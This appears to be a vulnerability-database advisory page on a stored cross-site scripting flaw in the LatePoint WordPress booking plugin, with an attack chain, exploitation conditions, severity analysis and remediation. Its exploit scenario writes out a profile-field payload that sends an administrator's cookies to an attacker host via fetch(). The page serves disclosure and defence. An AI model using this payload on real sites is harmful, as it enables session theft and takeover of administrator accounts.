Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCreate customer account
-
DeliveryUpdate profile with XSS payload in first_name/last_name/phone/notes
-
ExploitPayload stored unescaped in database
-
InstallAdmin previews notification template
-
C2generate_preview() injects payload without escaping
-
ExecuteMalicious script executes in admin browser
-
ImpactSession compromise or admin action execution
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires: (1) valid authenticated customer account on the target WordPress site (attacker can self-register if customer accounts are open); (2) customer access to the customer cabinet profile update endpoint that accepts POST parameters for first_name, last_name, phone, or notes fields; (3) an administrator or agent account that previews a notification template referencing at least one of the vulnerable customer variable placeholders ({{customer_full_name}}, {{customer_first_name}}, {{customer_last_name}}, {{customer_phone}}, or {{customer_notes}}). The vulnerability is NOT restricted to a single notification type - any template using these placeholders is affected. No special plugin configuration is required; default LatePoint installations with customer accounts enabled are exploitable. Limiting factors: attacker must possess customer-level access (PR:L in CVSS), and the payload only executes when an admin/agent actively previews a template, making widespread automated exploitation difficult without social engineering or coordination with site staff. The vulnerability does NOT affect end-customer-facing notification emails sent via standard WordPress email functions (those would use separate escaping), only the admin preview panel. |
| Impact | CVSS 6.4 (AV:N/AC:L/PR:L/UI:N/S:C) accurately reflects the attack surface and business impact. Network-accessible exploitation with low complexity and low privilege requirement (customer-level access) is realistic in typical WordPress deployments where customer self-registration is enabled. However, the lack of user interaction (UI:N) in the CVSS vector is technically correct - the admin/agent does not need to interact with the attacker's input directly; they only need to preview any notification template containing the vulnerable customer variable placeholders, which is a normal administrative function. The scope change (S:C) is the critical factor elevating severity: a low-privilege customer account can inject code that executes with admin or agent permissions. No EPSS score, POC status, or KEV listing provided in input data. Real-world risk is MODERATE-to-HIGH because exploitation requires only customer account creation (often unrestricted on booking sites) and the payload storage is persistent across all notification previews using those variables. Defenders must recognize that this is NOT mitigated by simply blocking external script sources - the XSS executes from same-origin admin preview endpoints. The AC:L rating is warranted; no special configuration or race conditions are required. Limiting factor: attacker must have valid customer account (PR:L), and impact is restricted to users who preview notifications (not full admin takeover), but the combination of account creation + persistent injection + high-value impact context is a real threat to multi-user WordPress deployments. |
| Exploit ScenarioDerived | An attacker creates a free customer account on a WordPress site running vulnerable LatePoint plugin. The attacker navigates to the customer cabinet profile update page and enters a first name value such as 'John<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">'. This payload is stored unsanitized in the database. When a site administrator or booking agent previews a notification template containing the {{customer_first_name}} placeholder (e.g., a booking confirmation or reminder email template), the generate_preview() function retrieves the stored malicious value and injects it into the HTML output without escaping. The embedded onerror event fires in the admin's browser, exfiltrating session cookies or performing actions on behalf of the administrator. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 06, 2026
Stored cross-site scripting in LatePoint calendar booking plugin for WordPress versions up to 5.5.0 allows authenticated customers to inject malicious scripts via unsanitized profile fields (first name, last name, phone, notes) that execute in administrators' browsers when notification templates are previewed. Exploitation requires customer-level access and admin interaction to preview a notification template, but achieves code execution in a high-privilege context (administrator or agent browser session) with scope change from single user to multiple users.
RemediationAI
Update LatePoint to a patched version released after the vulnerability disclosure (patch version not specified in provided data; check WordPress plugin repository for latest stable release). The upstream fix involves two mandatory changes: (1) OsCustomerModel must override params_to_sanitize() to explicitly include the vulnerable fields in the sanitization list, ensuring set_data() sanitizes first_name, last_name, phone, and notes before database storage; (2) generate_preview() must apply esc_html() or appropriate escaping function to all customer variable values before injecting them into template HTML output via str_replace(). Until patched, no adequate workaround exists without disabling notification template preview functionality entirely (which impacts admin usability). A temporary compensating control is to restrict customer cabinet access via IP whitelist or require multi-factor authentication for admin/agent accounts; this reduces attack surface but does not eliminate the vulnerability since any authenticated customer can still inject payloads. Additionally, administrators can audit existing customer records for suspicious characters in first_name, last_name, phone, or notes fields via database inspection and remove malicious entries, but this is manual and does not prevent new injections. Detailed patch guidance is available in Wordfence vulnerability report at https://www.wordfence.com/threat-intel/vulnerabilities/id/628b3f53-decd-47ac-a2d1-339ade1e6944.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
LatePoint is a WordPress appointment and calendar booking plugin. The vulnerability stems from two combined weaknesses in the plugin's data flow: first, the OsCustomerModel class fails to override the params_to_sanitize() method, causing the set_data() function to store raw POST parameters (first_name, last_name, phone, notes) directly in the database without sanitization; second, the generate_preview() function in the notification template system retrieves these stored values and injects them into HTML via str_replace() without any esc_html() escaping before output. Notification templates use placeholder variables like {{customer_full_name}}, {{customer_first_name}}, {{customer_last_name}}, {{customer_phone}}, and {{customer_notes}} that are directly replaced with unsanitized database values. This is a classic stored XSS (CWE-79) vulnerability where untrusted input is persisted and later rendered in a different security context.
Know when Latepoint gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The LatePoint plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to and including 5.5.0. This is due to insufficient input sanitization on the customer cabinet profile update endpoint - where raw POST parameters (first_name, last_name, phone, notes) bypass sanitization because OsCustomerModel does not override params_to_sanitize(), causing set_data() to store unsanitized values verbatim in the database - combined with insufficient output escaping in generate_preview(), which injects those stored values into notification template HTML via str_replace() without any esc_html() call before echoing the result. This makes it possible for authenticated attackers with customer-level access or above to inject arbitrary web scripts into the admin notification preview panel that execute in an administrator's or agent's browser whenever a notification template referencing customer variables such as {{customer_full_name}}, {{customer_first_name}}, {{customer_last_name}}, {{customer_phone}}, or {{customer_notes}} is previewed.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
The LatePoint plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 5.0.12. Rate
The LatePoint plugin for WordPress is vulnerable to Arbitrary User Password Change via SQL Injection in versions up to,
The LatePoint Plugin plugin for WordPress is vulnerable to unauthorized access of data and modification of data due to a
Price tampering in the LatePoint WordPress booking plugin before 5.7.5 lets a remote unauthenticated visitor manipulate
Blind SQL injection in the LatePoint WordPress appointment-booking plugin (versions up to and including 5.6.3) lets remo
LatePoint WordPress plugin through 5.7.4 allows unauthenticated remote attackers who know a target customer's registered
Unauthenticated arbitrary shortcode execution in LatePoint (Appointment Booking Plugin - Calendar & Scheduling for WordP
Privilege escalation in the LatePoint appointment booking plugin for WordPress (all versions up to and including 5.7.3)
Privilege escalation in the LatePoint booking plugin for WordPress (versions ≤ 5.4.1) lets an authenticated user holding
Privilege escalation to Administrator in the LatePoint booking plugin for WordPress (versions up to and including 5.6.3)
Cross-Site Request Forgery (CSRF) vulnerability in Latepoint LatePoint allows Cross Site Request Forgery.9.91. Rated hig
Privilege escalation in the LatePoint Calendar Booking plugin for WordPress (versions up to and including 5.5.1) allows
EUVD-2026-27544
GHSA-c4v2-4wg6-3r8x
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB